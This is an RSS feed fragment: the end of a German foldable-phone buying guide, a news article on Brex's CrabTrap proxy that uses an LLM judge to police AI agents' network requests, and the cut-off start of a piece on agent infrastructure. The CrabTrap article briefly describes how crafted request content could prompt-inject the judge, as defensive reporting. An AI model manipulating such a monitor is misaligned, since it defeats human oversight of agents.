<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/Bildschirmfoto-2026-07-16-um-14.31.40.png?w=1024" alt="Motorola Razr 60 Ultra" class="wp-image-4197835" width="1024" height="566" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Thomas Deehan / Foundry</p></div>



<h3 class="wp-block-heading">Warum wir das Motorola Razr 60 Ultra mögen</h3>



<p class="wp-block-paragraph">Das Motorola Razr 60 Ultra gilt als das aktuell beste Klapp-Smartphone auf dem Markt. Das beginnt beim Design: Neben weichem Alcantara gibt es eine Rückseite aus Holz, die angenehm griffig wirkt und Schmutz fernhält. Die IP48-Zertifizierung schützt vor Wasser und gröberem Staub, das Aluminium-Scharnier wirkt stabil und langlebig. Beide Displays überzeugen: außen ein 4-Zoll-AMOLED, innen ein 7-Zoll-Panel, beide mit 165 Hertz und LTPO-Technik, die bis auf 1 Hertz heruntertaktet. Laut Hersteller erreichen sie bis zu 4.500 Nits. Im Inneren steckt der Snapdragon 8 Elite mit 16 GB RAM, der für blitzschnelle Abläufe ohne Verzögerung sorgt. Der 4.700-mAh-Akku hielt im PCMark-Test über 14 Stunden durch und lädt mit bis zu 68 Watt per Kabel sowie 30 Watt kabellos. Besonders gelungen ist die freie App-Nutzung auf dem großen Cover-Display, die Motorola besser löst als die Konkurrenz.</p>



<h3 class="wp-block-heading">Weitere Überlegungen</h3>



<p class="wp-block-paragraph">Ein Teleobjektiv fehlt: Statt des früheren 2-fach-Zooms gibt es nun ein Ultraweitwinkel, jenseits zweifacher Vergrößerung lässt die Qualität spürbar nach. Die Hauptkamera kämpft zudem mit Belichtung und Schatten, sodass Fotos mal über-, mal unterbelichtet geraten. Beim längeren Gaming wird die Rückseite schnell unangenehm heiß. Mit nur drei Jahren OS-Updates und vier Jahren Sicherheits-Patches bleibt der Support kurz.</p>



<p class="wp-block-paragraph">Lesen Sie unseren <a href="https://www.pcwelt.de/article/2764578/motorola-razr-60-test.html" target="_blank">Motorola Razr 60 Ultra Pantone Test</a></p>



<h2 class="wp-block-heading">Honor Magic V5: Dünnstes Falt-Smartphone</h2>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/Bildschirmfoto-2026-07-16-um-14.31.48.png?w=1024" alt="Honor Magic V5" class="wp-image-4197837" width="1024" height="566" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Thomas Deehan / Foundry</p></div>



<h3 class="wp-block-heading">Warum wir das Honor Magic V5 mögen</h3>



<p class="wp-block-paragraph">Das Honor Magic V5 zählt zu den stärksten Buch-Foldables auf dem Markt. Es ist extrem schlank: geöffnet misst es laut Hersteller nur 4,1 Millimeter, geschlossen 8,88 Millimeter, bei 217 Gramm. Trotzdem behält Honor anders als Samsung die Stylus-Unterstützung bei. Beide AMOLED-Displays bieten 120 Hertz und LTPO-Technik; das Außendisplay erreicht 1.800 Nits, das Innendisplay 1.300 Nits. Im Inneren arbeitet der Snapdragon 8 Elite in der vollen 8-Kern-Variante mit 16 GB RAM, der sich um weitere 16 GB erweitern lässt. Im Alltag läuft das Gerät flüssig und meistert Multitasking mühelos. Das Kamerasystem aus 50-MP-Hauptsensor, 50-MP-Ultraweitwinkel und 64-MP-Tele liefert detailreiche Fotos. Der 5.820-mAh-Akku hält rund anderthalb Tage und lädt mit bis zu 66 Watt per Kabel sowie 50 Watt kabellos. Dazu gibt es sieben Jahre Updates und eine starke IP58/IP59-Zertifizierung.</p>



<h3 class="wp-block-heading">Weitere Überlegungen</h3>



<p class="wp-block-paragraph">MagicOS ist Geschmackssache: Die Oberfläche wirkt eigenwillig, und manche Funktionen sind sichtbar von Apple und anderen Herstellern inspiriert. Das Hauptdisplay fällt mit 7,95 Zoll etwas kleiner und randbetonter aus als bei der Konkurrenz. Bei wenig Licht geraten Fotos schnell zu dunkel und detailarm. Die Stereo-Lautsprecher klingen flach und basslos. Der Honor-Support hierzulande gilt als durchwachsen, und der Listenpreis von 1.999 Euro bleibt happig.</p>



<p class="wp-block-paragraph">Lesen Sie unseren <a href="https://www.pcwelt.de/article/2838914/honor-magic-v5-test.html" target="_blank">Honor Magic V5 Test</a></p>



<h2 class="wp-block-heading">Google Pixel 10 Pro Fold: Beste Software</h2>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/Bildschirmfoto-2026-07-16-um-14.31.57.png?w=1024" alt="Google Pixel 10 Pro Fold" class="wp-image-4197838" width="1024" height="566" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Thomas Deehan / Foundry</p></div>



<h3 class="wp-block-heading">Warum wir das Google Pixel 10 Pro Fold mögen</h3>



<p class="wp-block-paragraph">Das Google Pixel 10 Pro Fold bringt einige sinnvolle Verbesserungen mit. Als erstes faltbares Smartphone überhaupt erhält es eine IP68-Zertifizierung gegen Staub und Wasser, was es im Außeneinsatz besonders robust macht. Das schon zuvor starke Scharnier wurde weiter verbessert und zählt zu den besten am Markt. Neu sind integrierte Pixelsnap-Magnete, mit denen Sie Qi2-, Magsafe- oder Pixelsnap-Zubehör auch ohne Hülle nutzen. Beide OLED-Displays leuchten heller und erreichen nun 3.000 Nits; das Innendisplay misst 8 Zoll und gehört zu den größten seiner Klasse. Im Inneren arbeitet der Tensor G5, der gegenüber dem Vorgänger spürbar zulegt und genug Leistung für den Alltag liefert. Der 5.015-mAh-Akku hielt im PCMark-Test gut 13 Stunden durch und lädt mit 30 Watt per Kabel sowie 15 Watt kabellos. Dazu gibt es ein reines Android 16, viele Gemini-Funktionen und sieben Jahre Updates.</p>



<h3 class="wp-block-heading">Weitere Überlegungen</h3>



<p class="wp-block-paragraph">Im Vergleich zur Konkurrenz wirkt das Pixel altbacken: Das Design ist eher klobig und schwer, die Ränder gehören zu den dicksten unter den aktuellen Flaggschiff-Foldables. Die Falz fällt deutlicher auf als bei Samsung und Honor. Beim Tempo bleibt der Tensor G5 hinter Snapdragon-Geräten zurück, anspruchsvolle Spiele laufen weniger konstant. Die Kameras setzen weiterhin auf betagte 10-Megapixel-Sensoren.</p>



<p class="wp-block-paragraph">Lesen Sie unseren <a href="https://www.pcwelt.de/article/2945312/google-pixel-10-pro-test-3.html" target="_blank">Google Pixel 10 Pro Fold Test</a></p>



<h2 class="wp-block-heading">Motorola Razr 60: Bestes Preis-Leistungs-Verhältnis</h2>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/Bildschirmfoto-2026-07-16-um-14.32.06.png?w=1024" alt="Motorola Razr 60" class="wp-image-4197848" width="1024" height="566" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Thomas Deehan / Foundry</p></div>



<h3 class="wp-block-heading">Warum wir das Motorola Razr 60 mögen</h3>



<p class="wp-block-paragraph">Das Motorola Razr 60 ist ein solides kompaktes Flip-Phone zu einem fairen Preis. Das Design wirkt mit den abgerundeten Kanten und der Rückseite aus veganem Leder wärmer und griffiger als beim Samsung-Konkurrenten, zudem lässt es sich leichter aufklappen. Neu ist die verbesserte IP48-Zertifizierung, die zusätzlichen Staubschutz bringt; der Wasserschutz reicht bis 1,5 Meter Tiefe. Beide Displays fallen größer aus als beim Galaxy Z Flip 7 FE: Das 6,9-Zoll-Hauptdisplay bietet 120 Hertz und laut Hersteller bis zu 3.000 Nits, das 3,6-Zoll-Außendisplay umfasst die Kamera. Besonders gelungen ist die durchdachte Cover-Display-Oberfläche, auf der sich viele Apps nutzen lassen. Der größere 4.500-mAh-Akku bringt Sie durch den Tag und lädt mit 30 Watt per Kabel sowie 15 Watt kabellos. Der seitliche Fingerabdrucksensor reagiert zuverlässig, und der Speicher fällt mit 256 GB großzügig aus.</p>



<h3 class="wp-block-heading">Weitere Überlegungen</h3>



<p class="wp-block-paragraph">Beim Tempo bleibt das Razr 60 zurück: Der Mediatek Dimensity 7400X gleicht fast dem Vorgänger-Chip, zusammen mit nur 8 GB RAM kommt es immer wieder zu kleinen Verzögerungen. Die Kameras überzeugen nicht, vor allem bei wenig Licht wirken Fotos trüb und detailarm. Gegenüber dem Razr 50 gibt es kaum Fortschritte. Mit nur drei Android-Updates und vier Jahren Sicherheits-Patches bleibt der Support kurz. Der Listenpreis von 699 Euro ist fair.</p>



<p class="wp-block-paragraph">Lesen Sie unseren <a href="https://www.pcwelt.de/article/2934845/motorola-razr-60-test-2.html" target="_blank">Motorola Razr 60 Test</a></p>



<h2 class="wp-block-heading">Samsung Galaxy Z Flip 7 FE: Preis-Tipp</h2>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/Bildschirmfoto-2026-07-16-um-14.32.13.png?w=1024" alt="Samsung Galaxy Z Flip 7 FE" class="wp-image-4197849" width="1024" height="566" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Thomas Deehan / Foundry</p></div>



<h3 class="wp-block-heading">Warum wir das Samsung Galaxy Z Flip 7 FE mögen</h3>



<p class="wp-block-paragraph">Das Samsung Galaxy Z Flip 7 FE ist ein solides Klapp-Smartphone mit nostalgischem Charme zu einem niedrigeren Preis. Das Design entspricht dem Galaxy Z Flip 6 und wirkt mit den flachen Aluminiumkanten und Gorilla Glass Victus 2 hochwertig; die IP48-Zertifizierung hält Wasser und Staub fern. Das 6,7-Zoll-AMOLED-Hauptdisplay passt die Bildwiederholrate zwischen 1 und 120 Hertz an und überzeugt mit kräftigen Farben und tiefen Schwarztönen. Bei der Kamera macht die FE keine Abstriche zum Flaggschiff: Der 50-Megapixel-Hauptsensor liefert in vielen Situationen sehr gute Fotos, und Selfies gelingen über das Cover-Display besonders einfach. Im Alltag arbeitet der Exynos 2400 mit 8 GB RAM flüssig, Apps starten zügig. Dazu kommen One UI 8 auf Android 16, ein breites Galaxy-AI-Angebot und sieben Jahre Updates. Aufgeklappt liegt das Gerät dank stabilem Scharnier flach auf dem Tisch.</p>



<h3 class="wp-block-heading">Weitere Überlegungen</h3>



<p class="wp-block-paragraph">Beim Akku bleibt die FE mit 4.000 mAh am unteren Ende der Flip-Klasse; die Laufzeit reicht meist nur knapp durch den Tag. Das Laden mit nur 25 Watt per Kabel ist langsam, eine volle Ladung dauert über anderthalb Stunden. Das Cover-Display fällt mit 3,4 Zoll kleiner und altmodischer aus als bei der Konkurrenz, und das Freischalten von Apps darauf ist umständlich. Der Speicher startet bei knappen 128 GB. Die UVP von rund 939 Euro ist ambitioniert.</p>



<p class="wp-block-paragraph">Lesen Sie unseren <a href="https://www.pcwelt.de/article/2886662/samsung-galaxy-z-flip-7-fe-test-2.html" target="_blank">Samsung Galaxy Z Flip 7 FE Test</a></p>



<h2 class="wp-block-heading">Nubia Flip 5G: Spar-Tipp</h2>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/Bildschirmfoto-2026-07-16-um-14.32.22.png?w=1024" alt="Nubia Flip 5G" class="wp-image-4197850" width="1024" height="566" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Thomas Deehan / Foundry</p></div>



<h3 class="wp-block-heading">Warum wir das Nubia Flip 5G mögen</h3>



<p class="wp-block-paragraph">Das Nubia Flip 5G ist eines der günstigsten Klapp-Smartphones überhaupt und kostet deutlich weniger als ein Razr oder ein Galaxy Z Flip. Sein Design hebt sich durch das runde, von einer Schallplatte inspirierte Außendisplay klar von der Konkurrenz ab. Das Gerät besteht aus geätztem Glas mit Aluminiumrahmen, liegt griffig in der Hand und überstand im Test mehrere Stürze ohne Kratzer. Das 6,9-Zoll-AMOLED-Hauptdisplay löst in Full HD+ auf und bietet bis zu 120 Hertz. Im Inneren arbeitet der Snapdragon 7 Gen 1 mit bis zu 12 GB RAM, der für Alltagsaufgaben und App-Wechsel ausreicht. Die Stereo-Lautsprecher klingen überraschend kräftig und klar. Der 4.310-mAh-Akku hält rund anderthalb Tage und treibt dabei zwei Displays an. Ein passendes 33-Watt-Ladegerät liegt bei und bringt das Gerät in einer halben Stunde auf 76 Prozent. Dazu gibt es Dual-SIM, Wi-Fi 6E und 5G.</p>



<h3 class="wp-block-heading">Weitere Überlegungen</h3>



<p class="wp-block-paragraph">Bei der Software hakt es: MyOS 13 basiert noch auf Android 13 und bringt viel Bloatware mit, von der sich nicht alles entfernen lässt. Garantierte Update-Zusagen fehlen, was die Langzeitnutzung unsicher macht. Die Kameras liefern nur durchwachsene Ergebnisse, vor allem bei wenig Licht und ohne optischen Zoom. Das Hauptdisplay ist nur durch Kunststoff geschützt, und in der Sonne wird es schnell zu dunkel. Eine IP-Zertifizierung fehlt ganz.</p>



<p class="wp-block-paragraph">Lesen Sie unseren <a href="https://www.pcwelt.de/article/2320290/nubia-flip-5g-test.html" target="_blank">Nubia Flip 5G Test</a></p>



<h2 class="wp-block-heading">Welches Foldable passt zu Ihnen?</h2>



<p class="wp-block-paragraph">Beim Kauf eines Foldables kommt es nicht nur auf Prozessor, Kamera und Akkulaufzeit an. Entscheidend ist vor allem die Bauform, denn sie bestimmt, wie sich das Gerät im Alltag anfühlt. Grundsätzlich haben sich mehrere Konzepte etabliert. Flip-Phones lassen sich wie ein klassisches Klapphandy zusammenfalten und passen besonders gut in die Hosentasche. Sie eignen sich für alle, die ein kompaktes Smartphone suchen, aber trotzdem moderne Technik, gute Kameras und ein flexibles Display nutzen möchten. Praktisch ist der Klappmechanismus vor allem für Selfies, Gruppenfotos und Videos, weil das halb geöffnete Gerät wie ein kleiner Ständer funktioniert.</p>



<p class="wp-block-paragraph">Foldables im Buchformat verfolgen einen anderen Ansatz. Sie sind geschlossen fast wie ein normales Smartphone nutzbar, öffnen sich aber zu einem deutlich größeren Display. Das lohnt sich vor allem für Multitasking, Office-Apps, E-Mails, Dokumente, Karten, Chats und Web-Recherche. Wer häufig zwei Apps parallel nutzt oder unterwegs produktiver arbeiten möchte, profitiert hier am meisten. Breitere Foldables sind dagegen stärker auf Unterhaltung ausgelegt: Videos, Spiele, Fotos und Webseiten wirken auf dem aufgeklappten Display natürlicher und weniger schmal.</p>



<p class="wp-block-paragraph">Noch spezieller sind Trifold-Modelle mit drei Display-Segmenten. Sie bieten besonders viel Bildschirmfläche, sind aber derzeit noch teuer, selten und eher eine Technikvorschau als eine Massenlösung. Für die meisten Käufer bleibt daher die Wahl zwischen Flip-Phone und Foldable im Buchformat. Wer ein möglichst kompaktes Gerät sucht, greift zum Flip. Wer ein Smartphone mit Tablet-Gefühl möchte, ist beim großen Fold besser aufgehoben. Unsere Kaufberatung zeigt, welche Modelle 2026 überzeugen – und welches Foldable zu welchem Nutzertyp passt.</p>



<h2 class="wp-block-heading">FAQ: Die wichtigsten Fragen zu Foldables</h2>



<h3 class="wp-block-heading">1. Was ist der Unterschied zwischen einem Fold und einem Flip Phone?</h3>



<p class="wp-block-paragraph">Ein Flip Phone lässt sich vertikal zusammenklappen und wird dadurch besonders kompakt. Es eignet sich vor allem für Nutzer, die ein handliches Smartphone suchen und trotzdem moderne Funktionen nutzen möchten. Ein Fold öffnet sich dagegen seitlich wie ein Buch und bietet innen ein deutlich größeres Display. Das ist vor allem für Multitasking, produktives Arbeiten, Lesen, Videos und Spiele interessant.</p>



<h3 class="wp-block-heading">2. Für wen lohnt sich ein Foldable?</h3>



<p class="wp-block-paragraph">Ein Foldable lohnt sich vor allem für Nutzer, die mehr Bildschirmfläche möchten, aber kein separates Tablet mitnehmen wollen. Flip-Phones sind sinnvoll, wenn das Smartphone möglichst klein in die Tasche passen soll. Große Foldables lohnen sich für alle, die häufig mehrere Apps parallel nutzen, unterwegs arbeiten, viel lesen oder Medien auf einem größeren Display genießen möchten.</p>



<h3 class="wp-block-heading">3. Sind Foldables heute robust genug für den Alltag?</h3>



<p class="wp-block-paragraph">Aktuelle Foldables sind deutlich stabiler als die ersten Generationen. Scharniere, Rahmen und Displays wurden verbessert, viele Modelle bieten zudem Schutz gegen Wasser oder Staub. Trotzdem bleiben faltbare Displays empfindlicher als starre Glasflächen. Eine gute Hülle, vorsichtiger Umgang mit Sand und Staub sowie ein Blick auf die Schutzklasse des jeweiligen Modells sind daher wichtig.</p>



<h3 class="wp-block-heading">4. Welche Nachteile haben faltbare Smartphones?</h3>



<p class="wp-block-paragraph">Foldables sind meist teurer als klassische Smartphones mit vergleichbarer Ausstattung. Dazu kommen ein höheres Gewicht, sichtbare Bildschirmfalten und je nach Modell Kompromisse bei Kamera, Akkulaufzeit oder Gehäusedicke. Auch Reparaturen können teurer ausfallen. Vor dem Kauf sollte deshalb klar sein, ob die größere Displayfläche den Aufpreis im Alltag wirklich rechtfertigt.</p>



<h3 class="wp-block-heading">5. Worauf sollte man beim Kauf eines Foldables achten?</h3>



<p class="wp-block-paragraph">Wichtig sind Bauform, Displaygröße, Außendisplay, Scharnierqualität, Akkulaufzeit, Kamera, Software-Anpassungen und Update-Versprechen. Bei großen Foldables zählt besonders, wie gut Multitasking und App-Anpassung funktionieren. Bei Flip-Phones ist das Außendisplay entscheidend: Je größer und vielseitiger es ist, desto häufiger lässt sich das Gerät nutzen, ohne es aufzuklappen.</p>



<h2 class="wp-block-heading">Wie wir testen</h2>



<p class="wp-block-paragraph">Wir bewerten faltbare Smartphones nicht nur nach Datenblatt, sondern vor allem im Alltag. Entscheidend sind Displayqualität, Scharniermechanik, Verarbeitung, Leistung, Akkulaufzeit, Kameraqualität und Software-Anpassungen für den großen Innenbildschirm.<br><br>(<a href="https://www.pcwelt.de/article/2109390/bestes-falt-smartphone.html" data-type="link" data-id="https://www.pcwelt.de/article/2109390/bestes-falt-smartphone.html" target="_blank">PC-Welt</a>)<br><br><br></p>



<p class="wp-block-paragraph"><br><br></p>



<p class="wp-block-paragraph"><br><br><br><br><br><br></p>



<p class="wp-block-paragraph"><br><br></p>



<p class="wp-block-paragraph"><br><br><br><br></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Brex built its AI agent policy by watching what agents actually do, not by writing rules first]]></title>
<description><![CDATA[OpenClaw has become one of the most widely adopted agentic frameworks, but it has yet to prove itself at enterprise scale. Agents need real credentials — API keys, OAuth tokens, service accounts — to work effectively, and Brex found that traditional guardrails couldn't contain what those agents w...]]></description>
<link>https://tsecurity.de/de/3676907/it-nachrichten/brex-built-its-ai-agent-policy-by-watching-what-agents-actually-do-not-by-writing-rules-first/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3676907/it-nachrichten/brex-built-its-ai-agent-policy-by-watching-what-agents-actually-do-not-by-writing-rules-first/</guid>
<pubDate>Fri, 17 Jul 2026 21:32:56 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><a href="https://venturebeat.com/security/openclaw-500000-instances-no-enterprise-kill-switch">OpenClaw</a> has become one of the most widely adopted agentic frameworks, but it has yet to prove itself at enterprise scale. Agents need real credentials — API keys, OAuth tokens, service accounts — to work effectively, and Brex found that traditional guardrails couldn't contain what those agents were doing with them.</p><p>Brex set out to overcome these limitations by building an internal platform it calls CrabTrap. The <a href="https://www.brex.com/journal/building-crabtrap-open-source">open-source HTTP/HTTPS proxy</a> intercepts all network traffic, examines policy rules, and uses a LLM-as-a-judge to decide whether agent requests should be approved or denied. </p><p>“What we noticed was that the network layer was an untapped enforcement point,” Brex co-founder and CEO Pedro Franceschi told VentureBeat. “Every request an agent makes is an opportunity to intercept, reason about, and make a policy decision.”</p><p>The takeaway Franceschi wants IT leaders to draw: agent governance should shift from SDK-level permissions and model guardrails toward a centralized network control plane that enforces and learns from real in-the-wild agent behavior.</p><h2>How Brex targeted the transport layer</h2><p>The “obvious fix” (at least initially) to the agent security gap was guardrails, and much of the early work has centered on scoped tools, per-action permissions, and human-in-the-loop approvals. But as agents evolve, each new capability means there’s another API to tune or surface to audit, Franceschi noted. </p><p>“Any <a href="https://venturebeat.com/orchestration/trunk-tools-stack-cut-document-review-from-60-days-to-10-by-ditching-general-purpose-models">agentic system</a> with multiple tools and access to the open internet creates an immediate tension for builders: The more capable you make an agent, the more dangerous it becomes, and the safer you make it, the less useful it is,” he said. </p><p>Existing solutions to this tradeoff were “weak”: Fine-grained API tokens help at the margins but can still be misused and constrain functionality. Semantic guardrails (such as context, skills, or prompt steering) are easily bypassed by prompt injection, especially for agents connected to the internet.</p><p>Agents can be “defanged” when given read-only access or limited toolsets, but then they can't do meaningful work, Franceschi said. On the other hand, granting broad write access and a large tool surface can result in hallucinations and real production consequences.</p><p>Model context protocol (MCP) gateways enforce policy at the protocol layer — but only for traffic using MCP. Meanwhile, guardrails from LLM providers are tied to a single model and can be “opaque” to customize with enterprise-specific policies. And powerful tools like Nvidia OpenShell offer more of a “per-sandbox egress control.”</p><p>“When we started, we hadn’t found a solution to deploying harnesses like OpenClaw safely,” Franceschi said. “Instead of waiting for the industry to catch up, we decided to own the problem and invent the necessary tools.”</p><p>Notably, they needed a platform that sat between every agent and every network request, and could make “nuanced decisions about what to allow,” he said. </p><p>This made the transport layer a core architectural component and natural starting point, he said. </p><p>By operating at this layer, CrabTrap is framework-agnostic, language-agnostic, and API-agnostic. It doesn't require SDK wrappers or per-tool integration. Users set <i>HTTP_PROXY</i> and <i>HTTPS_PROXY</i> in the agent's environment, and every outbound request routes through the proxy before it reaches a destination.</p><p>However, Franceschi emphasized, Brex didn't start at the transport layer because it thought it was the only answer; rather, they believe in “security by layers.”</p><p>“The transport layer was simply an underinvested one, and we saw an opportunity to add meaningful enforcement there alongside everything else,” he said. </p><h2>The LLM-as-a-judge training loop</h2><p>CrabTrap combines deterministic static rules with an <a href="https://venturebeat.com/infrastructure/monitoring-llm-behavior-drift-retries-and-refusal-patterns">LLM-as-a-judge</a> for requests that fall outside known patterns, Franceschi explained. The judge only “fires on the long tail of unfamiliar endpoints or unusual request shapes,” which for a mature agent is typically fewer than 3% of requests.</p><p>The more pressing problem was how to know that a policy is the right one? With static rules, it's “relatively straightforward” to reason about accuracy. But with an LLM judge, the system is nondeterministic, and users need confidence that the policy approves the right requests and blocks the rest.</p><p>“Our key insight was to bootstrap policy from observed behavior rather than write it from scratch,” Franceschi said. Beginning with real behavior and editing down based on real-world learnings turned out to be “dramatically more effective than starting from a blank page.”</p><p>Brex’s team built a policy builder (itself an agentic loop) that runs underlying agents in shadow mode, analyzes historic network traffic, samples representative calls, and drafts a natural-language policy that matches what the agent actually does. </p><p>From there, they built an eval system that tests policy changes before they go live. CrabTrap compares historical audit entries against a draft policy and reports the exact changes to be made. Users can slice results by method, URL, original decision, and agreement status. </p><p>All of this runs with concurrent judge calls, so replaying thousands of requests “takes minutes, not hours,” Franceschi said. Brex also developed a live feedback loop: Full audit trails are stored in PostgreSQL and queryable through the admin API and dashboard. In cases where a resource is continuously denied, the system can notify a human or an agent to propose a policy update for review. </p><p>“That closes the loop between observed denials and policy refinement,” Franceschi said. </p><h2>Core challenges and roadblocks </h2><p>Of course, the build wasn’t without its challenges. A big one was latency: “Putting an LLM between an agent and every outbound API request sounds like it would grind things to a halt,” he said. </p><p>However, it didn’t turn out to be as big a problem as expected. This was for two reasons: The LLM judge only activates on a small fraction of requests (the aforementioned 3%). Agents quickly settle into predictable traffic patterns; once observed, high-volume patterns become static rules. Second, by using small, fast models like Claude Haiku meant that, even when the judge did fire, added latency was “negligible.” This can be further reduced with local models and prompt caching, Franceschi said. </p><p>The harder and less obvious challenge was prompt injection, he said. The judge receives the full HTTP request and all content is user-controlled, so potentially, a crafted URL, header, or request body could manipulate the judge's decision. </p><p>Brex addressed this by structuring the request as a JSON object before sending it to the model, so all user-controlled content is “escaped rather than interpolated as raw text,” Franceschi said. </p><h2>Results, and where CrabTrap might evolve</h2><p>Brex tracks a few factors to measure CrabTrap’s internal impact: Engagement with agents, network traffic patterns, and net promoter scores (NPS). The most meaningful result of CrabTrap has been “organizational confidence,” Franceschi said. </p><p>Previously, the team had “real hesitation” when it came to deploying autonomous agents broadly across business operations, because the existing guardrail options didn't provide enough assurance. </p><p>“CrabTrap changed that calculus,” Franceschi said. They now have an enforcement layer they trust, increasing confidence around expanding agent deployment into more parts of the business and delegating more agent configuration and management to users. </p><p>Franceschi described the policies derived from traffic as “surprisingly strong.” The team expected the policy builder to produce a “rough starting point” requiring heavy manual editing. In practice, though, pointing the platform at a few days of real traffic produced policies that matched human judgment on the “vast majority of held-out requests.”</p><p>Additionally, CrabTrap revealed how much noise agents generate. “The audit trail made this visible for the first time,” Franceschi said. They used denial logs and traffic analysis not only to tune policies, but to tighten agents themselves, remove tools, and cut out entire categories of requests that were wasting both time and tokens.</p><p>“The proxy became a discovery tool, not just an enforcement one,” he said. </p><h2>Areas for growth (and input from the open-source community)</h2><p>Brex anticipates CrabTrap to continue to evolve, particularly as they have released it as open-source. “We hope the community helps shape it,” Franceschi said. </p><p>Areas of improvement include deeper authentication functionality such as single-sign on (SSO), fine-grained role-based access control (RBAC); escalation workflows that allow agents to request additional permissions; and policy recommendations based on denial patterns.</p><p>Programmatic configuration, or developing API endpoints for “creating, forking, and applying” policies to agents, could allow the whole policy lifecycle to be automated rather than managed manually, Franceschi said. </p><p>As for escalation, if an agent is continuously denied a given resource or endpoint, it should be able to route requests to humans or other AI agents for review and back that up with a rationale for why it needs access. </p><p>“That turns CrabTrap from a hard enforcement boundary into something more like a managed permission system,” Franceschi said. </p><p>Additionally, the policy was built to bootstrap from network traffic, but there is opportunity to incorporate additional signals around agent traces and resource-calling, as well as broader context on what agents are ultimately trying to accomplish. This can help produce more accurate and nuanced policies. </p><p>Finally, there's an “open philosophical question” about the right posture for CrabTrap: Should it be a fully transparent layer that the agent itself is unaware of, or should it operate more like a “well-intentioned manager”? (that is, the agent knows about the layer and can interact with it). </p><p>The open-source community can help shape these developments, and CrabTrap will only get better with more users, Franceschi said. Brex’s agents speak to a specific set of APIs; teams using CrabTrap with different agents, services, and policy requirements will surface “edge cases and patterns we can't hit alone.”</p><p>“We have ambitious plans for where it could go, and we’d rather build in the open,” Franceschi said. </p><h2>What other builders can learn from CrabTrap</h2><p>The response has been stronger than expected. <a href="https://github.com/brexhq/CrabTrap">CrabTrap has more than 700 stars on GitHub</a>. Franceschi said Brex has also heard from OpenAI, Y Combinator CEO Garry Tan, and programmer Pete Steinberger, all expressing interest in deploying similar internal infrastructure.</p><p>The broader lesson: “Don't let infrastructure gaps become excuses to wait," Franceschi advised. There are “real blockers” for every enterprise looking to seriously deploy AI agents, including security concerns, lack of tooling, or unclear guardrails. </p><p>“It's tempting to sit on your hands until the industry catches up,” he said. “The lesson from CrabTrap is that you can own those problems directly.”</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Agents think in milliseconds, legacy infrastructure doesn't. LinkedIn, Walmart and Zendesk shared how they closed the gap at VB Transform 2026]]></title>
<description><![CDATA[Legacy infrastructure, not the models themselves, is what's actually slowing AI agents down. That was the shared conclusion of three infrastructure leaders — from LinkedIn, Walmart, and Zendesk — at VB Transform 2026.The panel brought together Animesh Singh, senior director of AI platform and inf...]]></description>
<link>https://tsecurity.de/de/3676906/it-nachrichten/agents-think-in-milliseconds-legacy-infrastructure-doesnt-linkedin-walmart-and-zendesk-shared-how-they-closed-the-gap-at-vb-transform-2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3676906/it-nachrichten/agents-think-in-milliseconds-legacy-infrastructure-doesnt-linkedin-walmart-and-zendesk-shared-how-they-closed-the-gap-at-vb-transform-2026/</guid>
<pubDate>Fri, 17 Jul 2026 21:32:54 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Legacy infrastructure, not the models themselves, is what's actually slowing AI agents down. That was the shared conclusion of three infrastructure leaders —<!-- --> from LinkedIn, Walmart, and Zendesk —<!-- --> at<a href="https://venturebeat.com/vbtransform2026"> VB Transform 2026</a>.</p><p>The panel brought together Animesh Singh, senior director of AI platform and infrastructure at LinkedIn, Desiree Gosby, SVP of corporate technology services and technology strategy at Walmart, and Sami Ghoche, VP of applied AI at Zendesk, each describing what actually broke when they moved agents from pilot to production. Each arrived at the same conclusion from a different starting point: None of the bottlenecks they hit were model problems.</p><p>What tied their answers together was a shared premise: most enterprise infrastructure was built for how humans work, not for how agents work. The gap between those two speeds is where the real engineering happened.</p><p>Gosby put it plainly when asked what she'd learned scaling agents inside Walmart's own workforce. The goal, she said, is to make sure "engineering doesn't once again become the bottleneck for what it is we're trying to do."</p><h2><b>Where the bottleneck actually was</b></h2><p>Each company hit a different version of the same wall: infrastructure designed for how people work doesn't hold up once agents are doing the work instead.</p><p>At LinkedIn, the first bottleneck wasn't a model, it was Kubernetes, which assumes containers spin up on demand, a process that takes seconds. Singh said that's too slow for agents. The fix was moving from on-demand provisioning to pre-provisioned pools of containers that swap agentic workloads in and out in real time.</p><p>A second, harder problem surfaced once LinkedIn let agents control their own orchestration. A five-point evaluation system looked clean, but hallucination kept showing up anyway. Singh said the issue was structural, an LLM evaluating another LLM's output shares the same failure mode as the thing it's evaluating. </p><p>"We built our own harness, our own control flow, and pushed the LLMs to the leaf instead of them orchestrating the loop," Singh said. Roughly 80% of the workflow is now scripted, deterministic code, with LLMs used only where reasoning is required, and each step's evidence is committed to disk before the system moves on.</p><p>Walmart's bottleneck came from success. An agent harness put directly into employees' hands went viral internally, and what Gosby called "citizen 